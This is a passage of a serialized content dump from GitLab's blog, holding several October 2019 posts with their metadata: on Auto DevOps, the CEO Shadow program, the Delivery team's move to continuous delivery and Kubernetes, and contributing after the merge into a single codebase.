built and tested on both x86 and Arm architecture inside a Kubernetes test environment hosted on Packet’s bare metal infrastructure. For anyone interested, the working group hosts open meetings every month. More details are available in their [Monthly Meeting doc](https://docs.google.com/document/d/1NA4N6PvNEkHX1yzaDFr19Xlru-amRxNi2pliqudmYNA/edit). It’s a great group and I recommend people attend.\n\nThere are a lot of exciting activities happening in the edge-to-cloud and DevOps space. As a developer evangelist, I know the value Arm brings to the ecosystem and am excited to see the commencement of the GitLab and Arm partnership. More announcements to come in the near future. Stay tuned!",[110,3949,232,267],{"slug":26988,"featured":6,"template":678},"devops-on-the-edge-a-conversation-about-gitlab-and-arm","content:en-us:blog:devops-on-the-edge-a-conversation-about-gitlab-and-arm.yml","Devops On The Edge A Conversation About Gitlab And Arm","en-us/blog/devops-on-the-edge-a-conversation-about-gitlab-and-arm.yml","en-us/blog/devops-on-the-edge-a-conversation-about-gitlab-and-arm",{"_path":26994,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":26995,"content":27000,"config":27005,"_id":27007,"_type":16,"title":27008,"_source":17,"_file":27009,"_stem":27010,"_extension":20},"/en-us/blog/auto-devops-explained",{"title":26996,"description":26997,"ogTitle":26996,"ogDescription":26997,"noIndex":6,"ogImage":10971,"ogUrl":26998,"ogSiteName":1180,"ogType":1181,"canonicalUrls":26998,"schema":26999},"Auto DevOps 101: How we’re making CI/CD easier","VP of product strategy Mark Pundsack shares everything you need to know about Auto DevOps.","https://about.gitlab.com/blog/auto-devops-explained","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Auto DevOps 101: How we’re making CI/CD easier\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2019-10-07\",\n      }",{"title":26996,"description":26997,"authors":27001,"heroImage":10971,"date":27002,"body":27003,"category":8943,"tags":27004},[11618],"2019-10-07","\nContinuous integration and continuous delivery (CI/CD) are the gold standards of software development but they can be challenging to achieve. GitLab’s [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) feature is designed to make the CI/CD process much easier with baked-in best practices and automation that will move code seamlessly through the entire development lifecycle. [Mark Pundsack](/company/team/#markpundsack), VP of product strategy, demonstrated how straightforward – and customizable – Auto DevOps is during our company-wide meeting, [Contribute 2019](/blog/how-we-scaled-our-summits/). Here’s what you need to know to get started with [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/).\n\n## It’s a shift... left\n\n“Auto DevOps is a [CI/CD pipeline](/topics/ci-cd/) that we have defined for you,” Mark says. “It’s basically all these best practices that we want to encourage everybody to have, and we believe are a good baseline for software development.” The goal is to have everyone set up to do CI/CD, but not just the bare minimum CI/CD, he says. “Like most people when they create a project, they start with running tests. That's the natural thing for CI. And then maybe they'll even get into CD, but they're not going to do things like [code quality](https://docs.gitlab.com/ee/ci/testing/code_quality.html) analysis and security analysis. And we really believe in the [shift left movement](/blog/secure-containers-devops/). If you look at everything as a pipeline, we want to take security and things like that which are stuck at the end and we want to move them as far left as possible. We believe you should be checking for security even on your first deploy. So we said, okay, let's put all that in there and make a script that says this is everything that you should be doing, so let's just do it for you.”\n\nThe roots of Auto DevOps can be found in previous versions of GitLab which offered Auto Deploy. “We evolved [Auto DevOps] as the company evolved to have more and more capabilities around the DevOps lifecycle,” Mark explains. Today, Auto DevOps tackles 12 software development steps automatically. Customers wanting more flexibility can choose the [Composable Auto DevOps](/releases/2019/04/22/gitlab-11-10-released/#composable-auto-devops) option, where the template can easily be modified to suit the requirements.\n\n## The Auto DevOps process\n\nAuto DevOps begins with language detection using [Heroku buildpacks](https://devcenter.heroku.com/articles/buildpacks). While not all languages are supported, a build is created and tested automatically for the supported languages, Mark explains. Auto DevOps uses the open source version of [Code Climate](https://codeclimate.com/oss) to do code quality analysis and the results are displayed in the merge request when a change is made. After that, it’s time for security testing; including dependency scanning, license management, and container scanning. “All those things kick off again right from your first deploy,” Mark says. “We’re really taking shifting left seriously there.”\n\nAt this point developers are able to auto review applications. And once that review app is available Auto DevOps will kick off [dynamic application security testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/). “It tries to detect security vulnerabilities in your running application,” Mark says. Finally Auto DevOps will auto deploy to either staging or production depending on how its configured. “From the first push it just automatically does all this stuff all the way – from deployment to production – which is pretty great.”\n\nAn app in production will get automatic browser performance testing which both challenges the application and records the results. [Auto monitoring](https://docs.gitlab.com/ee/topics/autodevops/#auto-monitoring) is also running so users can easily track response times, error rates, and even things like CPU and memory utilization. “All of this happens without any configuration whatsoever and that's really, that's why we put ‘auto’ in front of all of these,” Mark says. “It's really almost all the capabilities of our [DevOps lifecycle](/stages-devops-lifecycle/) thrown in by default.”\n\nWatch Mark demonstrate exactly how Auto DevOps works in the video below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/pPRF1HEtQ3s\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by [Joshua Sortino](https://unsplash.com/@sortino) on [Unsplash](https://unsplash.com)\n{: .note}\n",[110,4103,942,6962],{"slug":27006,"featured":6,"template":678},"auto-devops-explained","content:en-us:blog:auto-devops-explained.yml","Auto Devops Explained","en-us/blog/auto-devops-explained.yml","en-us/blog/auto-devops-explained",{"_path":27012,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27013,"content":27018,"config":27023,"_id":27025,"_type":16,"title":27026,"_source":17,"_file":27027,"_stem":27028,"_extension":20},"/en-us/blog/what-i-learned-about-our-ceo-s-job-from-participating-in-the-ceo-shadow-program",{"title":27014,"description":27015,"ogTitle":27014,"ogDescription":27015,"noIndex":6,"ogImage":23726,"ogUrl":27016,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27016,"schema":27017},"Lessons from my time in GitLab's CEO Shadow program","GitLab's CEO Shadow program gives team members insight into what the CEO does","https://about.gitlab.com/blog/what-i-learned-about-our-ceo-s-job-from-participating-in-the-ceo-shadow-program","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What I Learned about the CEO's Job from Participating in GitLab's CEO Shadow Program\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emilie Schario\"}],\n        \"datePublished\": \"2019-10-07\",\n      }",{"title":27019,"description":27015,"authors":27020,"heroImage":23726,"date":27002,"body":27021,"category":18484,"tags":27022},"What I Learned about the CEO's Job from Participating in GitLab's CEO Shadow Program",[24044],"\n\n{::options parse_block_html=\"true\" /}\n\n\n\nOver the first two weeks in August, I got the chance to participate in GitLab's [CEO Shadow program](/handbook/ceo/shadow/#rotation-schedule), during which Shadows attend upwards of 90% of the CEO's meetings over the course of their 2-week rotation.\nWe attend job interviews, 1-on-1s that the CEO has with his direct reports, investor calls, and everything else that comes up.\nDuring my two week rotation, I was asked to drop off calls twice and asked to not join a 1:1 once.\nShadows are welcome to join any and all meetings, except for where the guest requests otherwise.\n\nWhile I had seen Sid's calendar leading up to my Shadow rotation, I really did not know what to expect.\nI had chatted with other [Shadow alumni](/handbook/ceo/shadow/#ceo-shadow-program-alumni-and-learnings), but their words of advice did not convey exactly how to prepare.\nI knew I wanted to turn the whole experience into a learning opportunity where I could sponge up every interaction.\nI knew there would be a lot going on.\nI planned to take it all in, then leave room for synthesis later.\n\nNow, as I reflect on my notes, I think the biggest clarity I've gotten is on *what the CEO's job is* and how that is reflected in Sid's day-to-day.\nFrom what I saw, no two days are alike - the weeks even less so - but when I sat back there were three obvious themes that emerged: making big decisions, reinforcing our values, and stepping in wherever there is a leadership gap.\n\n## Making Big Decisions\n\nAt GitLab, we believe in having a [DRI](/handbook/people-group/directly-responsible-individuals/) - Directly Responsible Individual - for most decisions.\nFor example, product managers are DRIs for their areas of the product. Having DRIs is an incredible aspect of GitLab, as it helps keep [collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) from devolving into decisions by consensus and helps empower us to work asynchronously.\n\nIf there's a moment where a decision needs to be made, a DRI can make a decision.\nIf another piece of information comes up, we can make another decision. Rarely are decisions [one-way door decisions](https://handbook.gitlab.com/handbook/values/#make-two-way-door-decisions).\n[Making decisions quickly](/handbook/leadership/mitigating-concerns/#loss-of-velocity) is key to how [we can ship](/releases/categories/releases/) as much as we do, [iterating](https://handbook.gitlab.com/handbook/values/#iteration) along the way.\n\nI think it probably seems obvious that a CEO makes decisions all the time, but given the way we set DRIs for things, I was curious what sorts of decisions I could see Sid making, and I wanted to understand *why those decisions* were being escalated to Sid.\nMy cool discovery is that he was doing the things described in his [job family](https://handbook.gitlab.com/job-families/chief-executive-officer/).\nThe second requirement of the CEO's job description is\n> Hire great people. Help people that are not a good fit find another job.\n\nFor many leadership roles, Sid is still involved in the hiring decision.\nSince [lowering the hiring bar is one of our biggest concerns](/handbook/leadership/mitigating-concerns/#lowering-the-hiring-bar), it makes sense that this is an area where the CEO would spend his time.\nSid makes [pricing decisions](https://gitlab.com/gitlab-com/Product/blob/master/.gitlab/issue_templates/Move-A-Feature-Down.md#L25) because pricing is the CEO's job.\nSid makes the decisions that it's his job to be making.\nThere's no secret process behind the curtain.\n\n## Reinforcing our GitLab Values\n\nEvery interaction with Sid is an opportunity for him to reinforce the company values.\nWhat may look to some like *handbook policing* is simply him pushing us to continue to [write things down](https://handbook.gitlab.com/handbook/values/#write-things-down).\n*An obligatory breakout call* is an opportunity to [get to know each other](https://handbook.gitlab.com/handbook/values/#get-to-know-each-other).\nAnd *thinking too small* is just [scoping to the minimum viable change](https://handbook.gitlab.com/handbook/values/#move-fast-by-shipping-the-minimum-viable-change).\n\nHalf way through my first week, I was lucky enough to attend [TractionConf](https://www.tractionconf.io/) with Sid.\nThere he would be participating in a Fireside Chat with Frederic Lardinois of TechCrunch to talk about GitLab's origin story, remote work, our transparency value, and all the things that make GitLab unique.\nGiven that this was the first time I had seen Sid speak in-person at a non-GitLab event, I opened up a Google Doc and started typing.\nI didn't have a sense of what it'd be for or how it'd be useful.\nI figured better to have the notes than not and just went for it.\n\nTwo things happened that I could not have expected.\nFirst, because I shared the doc in our #ceo channel in Slack, people helped me clean it up as I was typing notes.\nI didn't have to worry about that `teh` that I mistyped because team members who were reading my notes as the talk was happening were helping me make it better.\nSecond, when someone tweeted about the session later on, Sid suggested I reply with my notes.\nWhat may look to some as *pieced together notes* is really just accepting that [everything is in draft](https://handbook.gitlab.com/handbook/values/#everything-is-in-draft) and working with a [low level of shame](https://handbook.gitlab.com/handbook/values/#low-level-of-shame).\nNow those notes can serve not just me, but anyone who wants to read about the session.\nThey're not perfect, but they are better than nothing.\nLearning to work with a low level of shame is hard - probably one of the hardest transitions about working at GitLab! - but it makes everyone's work experience better.\n\n{::options parse_block_html=\"true\" /}\n\u003Cblockquote class=\"twitter-tweet\">\n\u003Cp lang=\"en\" dir=\"ltr\">I really enjoyed the talk too! Here are my notes from the session, in case they&#39;re useful \u003Ca href=\"https://twitter.com/hashtag/TractionConf?src=hash&amp;ref_src=twsrc%5Etfw\">#TractionConf\u003C/a> \u003Ca href=\"https://t.co/b55bQITbNv\">https://t.co/b55bQITbNv\u003C/a>\u003C/p>&mdash; Emilie Schario (@emilieschario) \u003Ca href=\"https://twitter.com/emilieschario/status/1159667866918109190?ref_src=twsrc%5Etfw\">August 9, 2019\u003C/a>\n\u003C/blockquote>\n\nBy working with a low level of shame, I made it so that everyone could contribute!\n\nWhile I like to think I'm good at working *in the GitLab way* and encourage my peers to do the same, I never go out of my way to push people to work even more-so.\nI saw most interactions of Sid's have some aspect of stewarding our values.\nWhether he was coaching his direct reports on [how we organize the handbook](/handbook/handbook-usage/#style-guide-and-information-architecture), suggesting someone stop sharing their screen in a [Group Conversation](/handbook/group-conversations/) so that it feels more like a conversation, or pointing out that a section name is not [MECEFU](/handbook/communication/#mecefu-terms), Sid was regularly stewarding our values.\n\n## Stepping in as a Leader\n\nI saw this most obviously when I first started at GitLab before we had a CMO.\nSid was acting-CMO, so the many ways he was stepping in to run marketing was really visible in the company - most obviously in running the Group Conversations for Marketing.\n\nWe see this behavior in most managers.\nWhen a team member is on vacation or leave, their managers may step in to fill the gap.\nSid does the same for his direct reports.\nThis is most visible today in how we use [PTO Ninja](/handbook/paid-time-off/#pto-ninja).\n\nLots of CEO Shadows have walked away with [different takeaways](/handbook/ceo/shadow/#ceo-shadow-program-alumni-and-learnings).\nThe biggest understanding I walked away with was this: while Sid's job is to make decisions, steward our values, and step in when needed, it's actually expected of all of us too!\nWe live GitLab's values by having DRIs, helping steward our culture in small group settings, and fostering collaboration.\nIf you're a GitLab team member, go for the CEO Shadow program, if given the chance.\nIf you're thinking about rolling out a similar program at your company, I hope our details on [how the shadow program works at GitLab can be your blueprint](/handbook/ceo/shadow/).\n",[7715,676,10921],{"slug":27024,"featured":6,"template":678},"what-i-learned-about-our-ceo-s-job-from-participating-in-the-ceo-shadow-program","content:en-us:blog:what-i-learned-about-our-ceo-s-job-from-participating-in-the-ceo-shadow-program.yml","What I Learned About Our Ceo S Job From Participating In The Ceo Shadow Program","en-us/blog/what-i-learned-about-our-ceo-s-job-from-participating-in-the-ceo-shadow-program.yml","en-us/blog/what-i-learned-about-our-ceo-s-job-from-participating-in-the-ceo-shadow-program",{"_path":27030,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27031,"content":27037,"config":27042,"_id":27044,"_type":16,"title":27045,"_source":17,"_file":27046,"_stem":27047,"_extension":20},"/en-us/blog/gitlab-journey-to-cicd",{"title":27032,"description":27033,"ogTitle":27032,"ogDescription":27033,"noIndex":6,"ogImage":27034,"ogUrl":27035,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27035,"schema":27036},"GitLab's unconventional journey to CI/CD and Kubernetes","How the Delivery team at GitLab used our existing resources to overhaul our system to make way for CI/CD.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678397/Blog/Hero%20Images/raphael-biscaldi-cicd.jpg","https://about.gitlab.com/blog/gitlab-journey-to-cicd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's unconventional journey to CI/CD and Kubernetes\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2019-10-03\",\n      }",{"title":27032,"description":27033,"authors":27038,"heroImage":27034,"date":27039,"body":27040,"category":734,"tags":27041},[17272],"2019-10-03","\nEngineering teams are under pressure to provide value in the form of new features, all while minimizing [cycle time](/blog/reduce-cycle-time/). Oftentimes the instinct is to adopt modern tooling to make that happen. Continuous integration and delivery (CI/CD) is baked into GitLab, our single application for the DevOps lifecycle, and we are undergoing a major migration to Kubernetes to speed up our cycle time even more. But our journey to CI/CD and eventually Kubernetes has been unconventional, as the [Delivery team](/handbook/engineering/infrastructure/team/delivery/) elected to stress our current system as we step into [continuous delivery](/topics/continuous-delivery/) on GitLab.com before migrating entirely over to Kubernetes.\n\n## Releases before CI/CD\n\nThe wider GitLab community and GitLab team members [averaged 55 commits per day between Aug. 7 and Sept. 27, 2019](https://gitlab.com/gitlab-org/gitlab-ee/-/graphs/master/charts) as they continually iterate on our product to build new features for our customers. But before we adopted continuous delivery, we had to institute feature freeze periods beginning on the 7th of each month. During this period, engineers would shift their focus from building new features to fixing bugs in preparation for the upcoming release, which always happens on the 22nd.\n\n The use of a specific defined deadline encouraged behavior that ultimately caused developers to focus more on the due date and not around accomplishing the work.\n\n\"... developers would really play around the 7th because they would think ‘Oh, I have time, the 7th is in seven days,’ and then on the 6th at midnight they would panic merge things,\" said [Marin Jankovski](/company/team/#marin), engineering manager for the Delivery team. \"Because they know that if they missed this deadline they will have to wait for the next month, and if they get it in under this deadline they have a good two weeks to fix any problems that happen.\"\n\nSince the conception of GitLab.com, the feature freeze was used as a stabilization period, Marin explained.\n\nSoon though, the demand for new features from new users was pushing us to escalate our development velocity on GitLab.com. The stabilization period slowed our cycle time and created a significant drag in our turnover time for bug fixes, regression, and feature shipping for users both on GitLab.com and self-managed customers.\n\n“In some cases (the feature freezes) would even cause platform instability due to the fact that highest priority fixes couldn't find its way into customer hands quick enough,” said Marin. “By moving to CD, we can get both features and bug fixes alike into the hands of our users much quicker.”\n\nBefore the [Delivery team was created to manage GitLab.com's transition to continuous delivery](/handbook/engineering/infrastructure/team/delivery/#top-level-responsibilities) – and eventually Kubernetes – we depended upon a [release manager](/blog/release-manager-the-invisible-hero/), a rotating position among developers, to prepare the release. The [release process was iterated on over a five-year period](/community/release-managers/) as the release managers created a knowledge base and some automation to make the release process work.\n\nBut this method was inefficient as the timing behind the deployment process and release preparations was unpredictable, taking between half a day to multiple days due to the [accumulation of manual tasks in the process](https://gitlab.com/gitlab-org/release/docs/blob/master/general/tooling.md).\n\n“The release manager would get a set task list to go through, a deadline by which the tasks should be completed and they would have to repeat these steps over again until the release is ready, but also stable on GitLab.com,” explained Marin. At the highest level overview, the release manager had to:\n\n*   Manually sync the various repositories that GitLab consists of\n*   Ensure that the correct versions are set in the manually created Git branches\n*   Once the release is tagged, manually deploy to GitLab.com environments for both non-production and production\n*   Verify that everything is operational and manually publish the packages for self-managed users\n\nDuring his [presentation on this topic at GitLab Commit Brooklyn](https://youtu.be/lD-cYylwOLg), Marin shared the results of a 2018 survey which revealed that in the 14-day period before a release, the Delivery team spent 60% of their time babysitting deploys, and another 26% of their time on manual or semi-manual tasks release tasks, such as writing the monthly release post.\n\n![Task breakdown before CI/CD](https://about.gitlab.com/images/blogimages/journey-to-cicd/release-task-spread.jpg){: .medium.center}\nResults of a 2018 survey showing how the Delivery team spent their time two weeks before a release, before continuous delivery.\n{: .note.text-center}\n\n\"If you take a look at the whole thing, in 14 days, in two weeks, my team did nothing but sit on the computer and watch, well, paint dry, I guess,\" said Marin.\n\nBut by tackling 86% of the pie (60% deploys + 26% of the release manual tasks), the Delivery team could solve a few problems:\n\n1.  No release delays\n1.  Repeatable and faster deploys to enable no downtime\n1.  More time for our GitLab.com Kubernetes migration\n1.  More space to prepare the organization for continuous delivery\n\nAlthough CD is only on GitLab.com, our self-managed customers also benefit from our transition to CD. Now anything that isn't caught with CI testing is tested automatically and manually in environments before ever reaching GitLab.com. Anything that requires a fix that does reach GitLab.com can be fixed in a few hours, so the final release for self-managed customers won't include these particular issues.\n\n## Our unique approach to transitioning to CD and Kubernetes\n\nThe transition from using feature freezes to adopting CD on GitLab.com was inevitable as our features set grew, and a team of engineers, led by Marin, was formed to oversee this transition: “The Delivery team has been formed with the sole purpose of moving the company to a CD model for GitLab.com but at the same time for migrating GitLab.com to the Kubernetes platform to enable easier scaling and even faster turnaround times.”\n\nMany companies in GitLab’s position would have started this journey to CI/CD and Kubernetes by first integrating the new technologies into their workflow, and amending the development process as they go. We opted for a different approach.\n\nThe migration to Kubernetes requires a shift in both production systems and the engineering mindset, explained Marin. Kubernetes offers some features that teams can easily leverage without any extra investment. But in order to derive the greatest value from the free features Kubernetes offers, there ought to be some existing CI/CD process already in place.\n\nThe Delivery team recognized that in order to smooth the transition to Kubernetes for continuous delivery, our engineers must already be working with a CI/CD mindset – this includes a strong focus on quality assessments (QA) and stricter feature planning. So the Delivery team went with the [boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions) and used our existing tools to build a CD system and reorganize the application infrastructure of GitLab.com instead of first adopting new tooling and technologies for CD.\n\n“The idea was simple,” said Marin. “We [leverage the tools at our disposal](https://gitlab.com/gitlab-org/release/docs/blob/master/general/deploy/auto-deploy.md), automate most of the manual tasks and ‘stress test’ the whole static system. If the static system can withstand the test, we move toward a more dynamic test.”\n\nThere were two key benefits to taking this approach:\n\n**First**, any weaknesses in our application were exposed and stabilized by automating with CI, so our application is stronger and less brittle, making a complete migration to Kubernetes more likely to be a success.\n\n**Second**, by shifting the engineering team to the CD mindset, we created a cultural shift among the engineers at GitLab who were accustomed to weekly deploys and waiting up to a day to see the impact of their merge.\n\n> “The definition of ‘done’ for developers has changed since the adoption of CI/CD,” said Marin.\n\nBefore CI/CD, a change was “done” once the review was completed. This was excluding deployments to various environments which took a considerable amount of time. Today, deployments are shipped within hours so there is no reason to not confirm that a change is working in testing and production environments.\n\nThe adoption of review apps on Kubernetes allow developers to run QA checks in virtually real time, and the use of [feature flags](/blog/feature-flags-continuous-delivery/) for progressive delivery also helps to accelerate development.\n\n“Since the first step in CD, developers are required to react to any automated QA but also carry out another level of manual verification in both non-production and production environments. Additionally, developers can have their changes running in production within a day compared to multiple days (and weeks).”\n\nEveryone can run QA checks on their code more frequently with CD. Because code changes are shipped around the clock with our CI/CD system, developers now operate an on-call rotation to help with any outstanding issues that are happening live on GitLab.com since the \"incubation\" time is much shorter.\n\n## Our new method\n\nSince the adoption of a CI/CD system, 90% of the [release process is automated](https://gitlab.com/gitlab-org/release/tasks/issues/885) using the [CI features of GitLab](/direction/verify/continuous_integration/). The remaining 10% requires human intervention due to coordination between various stakeholders.\n\n“We are slowly reducing those 10% as well with the goal of having only approvals needed to publish a release,” said Marin. [In the current iteration, the CI/CD process operates as follows](/direction/ops/):\n\n*   CI automatically looks for specific labels in merged MRs, applied by code reviewers and developers.\n*   CI automatically syncs all required repositories but also creates required Git branches, tags, as well as setting the correct versions of the release we want to ship.\n*   When the builds complete, packages are automatically deployed to non-production environments.\n*   Automated QA tasks are executed and, if passing, the deployment is rolled out to a small subset of users in production.\n*   In parallel, developers do another level of manual QA to ensure that new features are functioning as expected.\n*   If a high severity issue is discovered with manual verification, the deployments are stopped.\n*   When the above is completed, a member of the Delivery team will trigger a rollout to all users on GitLab.com.\n*   Self-managed release is then created from the last known working deployment running on GitLab.com.\n\nAs is true for any engineering team, scaling remains a challenge for us. But one of the biggest technical challenges is making sure there is enough QA coverage, which can be labor intensive for a product as big at GitLab.com. Also, making sure the monitoring and alerting is sufficient so the product isn’t operating solely based upon pre-set rules.\n\nThe second major challenge is the complexity of our GitLab.com system, and communicating the change in process across our engineering teams. “Dismantling more than five years of built-up process and habit is never easy,” said Marin.\n\n## The results\n\nGitLab is already benefitting from the shift to CI/CD in a number of ways.\n\nThe results of a new 2019 survey assessing how the Delivery team spends their time in the same 14-day period before the release shows that today, 82% of the team's time is freed up to work on other important tasks.\n\n![Task breakdown since CI/CD](https://about.gitlab.com/images/blogimages/journey-to-cicd/chart.jpg){: .medium.center}\nThe results of a 2019 survey measuring the same two weeks before the release shows the switch to CD has freed up valuable developer time.\n{: .note.text-center}\n\nBy automating manual tasks, the Delivery team was able to shift their focus toward changing the GitLab.com infrastructure to better support our development velocity and user traffic, as well as beginning the migration to Kubernetes.\n\n> \"And, did I mention, none of this is on Kubernetes. All of this is using our 'old' legacy system,\" said Marin to the GitLab Commit Brooklyn audience. \"But what happened with this is we bought ourselves time, so my team actually has time to work on the migration. But one of the biggest changes that happened was in the habits of the engineering organization.\"\n\nThe results since the shift have been significant. The Delivery team went from around seven deploys under the old system in May 2019 to 35 deploys on GitLab.com in August 2019, and is on track to surpass these numbers considerably now that they're shipping multiple deploys a day.\n\n“We have just completed the migration of our Registry service to Kubernetes and if you use [Container Registry on GitLab.com](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/70), all your requests are served from the Kubernetes platform,\" said Marin. \"Since GitLab is a multi-component system, we are continuing to isolate and migrate other services.”\n\nNew CI/CD features are included in each release. For example, in our 12.3 release, we [expanded the GitLab Container Registry to allow users to leverage CI/CD to build and push images/tags to their project](/releases/2019/09/22/gitlab-12-3-released/#remove-container-images-from-cicd) among other exciting new features.\n\n## Transitioning your system to continuous delivery?\n\nFor companies considering the transition to CD, Marin advised to start with what you’ve got.\n\n“From my perspective, waiting for migrating to a new platform is the real ‘enemy,’” said Marin. “Most systems can be altered in some ways to enable faster turnaround time without migrating to a fully new system. Speeding up the development/release cycle has multiplier return per engineer in that system and that frees up more time for migrations to new platforms, such as Kubernetes.”\n\nIf you’re curious about what’s up next, [check out this detailed summary of the exciting new CI/CD features](/blog/a-look-ahead-for-gitlab-cicd/) on track to be released in 12.4 and beyond.\n\n## Missed GitLab Commit Brooklyn?\n\nIf you missed Marin's presentation on the prequel to Kubernetes, watch the entire video below and catch us in Europe at [GitLab Commit London on October 9](/events/commit/)!\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/lD-cYylwOLg\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n[Cover Photo](https://unsplash.com/photos/rE3kbKmLmhE) by [Raphaël Biscaldi](https://unsplash.com/@les_photos_de_raph?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/journey?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[110,676],{"slug":27043,"featured":6,"template":678},"gitlab-journey-to-cicd","content:en-us:blog:gitlab-journey-to-cicd.yml","Gitlab Journey To Cicd","en-us/blog/gitlab-journey-to-cicd.yml","en-us/blog/gitlab-journey-to-cicd",{"_path":27049,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27050,"content":27055,"config":27060,"_id":27062,"_type":16,"title":27063,"_source":17,"_file":27064,"_stem":27065,"_extension":20},"/en-us/blog/contributor-after-single-code-base",{"title":27051,"description":27052,"ogTitle":27051,"ogDescription":27052,"noIndex":6,"ogImage":19778,"ogUrl":27053,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27053,"schema":27054},"Contributing to GitLab after move to a single codebase","How contributors can benefit from the move to a single codebase for GitLab Community and Enterprise Editions.","https://about.gitlab.com/blog/contributor-after-single-code-base","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Contributing to GitLab after move to a single codebase\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2019-10-02\",\n      }",{"title":27051,"description":27052,"authors":27056,"heroImage":19778,"date":27057,"body":27058,"category":18484,"tags":27059},[21623],"2019-10-02","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nBy now, many readers will already be familair with GitLab's move to a single Rails codebase for GitLab Community(CE) and Enterprise(EE) Editions. The motivation for the change and work involved were well documented in blog posts by [Marin Jankovski](/blog/merging-ce-and-ee-codebases/) and [Yorick Peterse](/blog/a-single-codebase-for-gitlab-community-and-enterprise-edition/). Also, if you had an open merge request (MR) in CE, you probably saw messages from the GitLab bot (`@gitlab-bot`) like the one below. \n\n![GitLab bot message](https://about.gitlab.com/images/blogimages/Bot-closing-GitLab-FOSS-MR.png){: .shadow.medium.center} \n## Only impacts contributions to the new GitLab repository\n\nI want to highlight a couple of things with this move to a single codebase. First, if you are contributing to other GitLab projects such as [Charts](https://gitlab.com/gitlab-org/charts/gitlab), [GitLab Design System](https://gitlab.com/gitlab-org/gitlab-services/design.gitlab.com), [GitLab UI](https://gitlab.com/gitlab-org/gitlab-ui), [Omnibus](https://gitlab.com/gitlab-org/omnibus-gitlab), [Runner](https://gitlab.com/gitlab-org/gitlab-runner), etc., this move to a single Rails codebase for CE & EE will not have any impact on your contribution workflow. \n## Licenses remain the same\n\nNext, there is no change to licensing. GitLab CE will remain open source under the MIT license. GitLab EE code will reside in the [`ee` directory](https://gitlab.com/gitlab-org/gitlab/tree/master/ee) in the [new gitlab (formerly gitlab-ee) project](https://gitlab.com/gitlab-org/gitlab) and will remain source available under a proprietary license.  \n## Higher efficiency and easier to contribute\n\nWith this move to a single codebase, there will be less duplicate work and manual intervention required from GitLab team members in the future. This gives them more bandwidth for higher value activities, including helping with wider community contributions.\n\nThe single codebase should also simplify things for wider community members, as you can now search [for issues in one place](https://gitlab.com/gitlab-org/gitlab/issues), and there's also [one place for MRs](https://gitlab.com/gitlab-org/gitlab/merge_requests).\n\nAs another example for improvement, in the past, contributors occasionally had to deal with `ee_compat_check` errors when they submitted an MR in CE. This required opening an MR in EE (or asking a GitLab team member to open an EE MR) and then wait for it to be merged before continuing with the CE MR. This was a pain point for many contributors, and I am excited that this will be eliminated with the single codebase. \n## Re-submitting MRs against the new GitLab project\n\nIf you have an MR that was auto-closed by the GitLab bot in CE (now [GitLab FOSS](https://gitlab.com/gitlab-org/gitlab-foss)), you can continue your work by creating a new MR in the [new gitlab project](https://gitlab.com/gitlab-org/gitlab) following the steps outlined in the GitLab bot message above. If you have any questions or encounter issues when you open a new MR, please feel free to [mention](https://docs.gitlab.com/ee/user/group/subgroups/#mentioning-subgroups) the reviewers from your original MR or me and ask for help.  \n\nDuring and after the transition, I was happy to see MR's continuing to come in from the wider community so it doesn't look like this was a major disruption. However, if you have any questions or feedback you are welcome to [open an issue in gitlab](https://gitlab.com/gitlab-org/gitlab/issues) or reach out to me at `rpaik@gitlab.com`.\n\n[\"GitLab application screengrab\"](https://unsplash.com/photos/ZV_64LdGoao) by [Pankaj Patel](https://unsplash.com/@pankajpatel) on Unsplash\n{: .note}",[267,2368,815],{"slug":27061,"featured":6,"template":678},"contributor-after-single-code-base","content:en-us:blog:contributor-after-single-code-base.yml","Contributor After Single Code Base","en-us/blog/contributor-after-single-code-base.yml","en-us/blog/contributor-after-single-code-base",{"_path":27067,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":27068,"content":27073,"config":27077,"_id":27079,"_type":16,"title":27080,"_source":17,"_file":27081,"_stem":27082,"_extension":20},"/en-us/blog/gitlab-october-2019-meetups",{"title":27069,"description":27070,"ogTitle":27069,"ogDescription":27070,"noIndex":6,"ogImage":25985,"ogUrl":27071,"ogSiteName":1180,"ogType":1181,"canonicalUrls":27071,"schema":27072},"GitLab Meetups: October 2019","See where the GitLab community will be gathering this month","https://about.gitlab.com/blog/gitlab-october-2019-meetups","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": 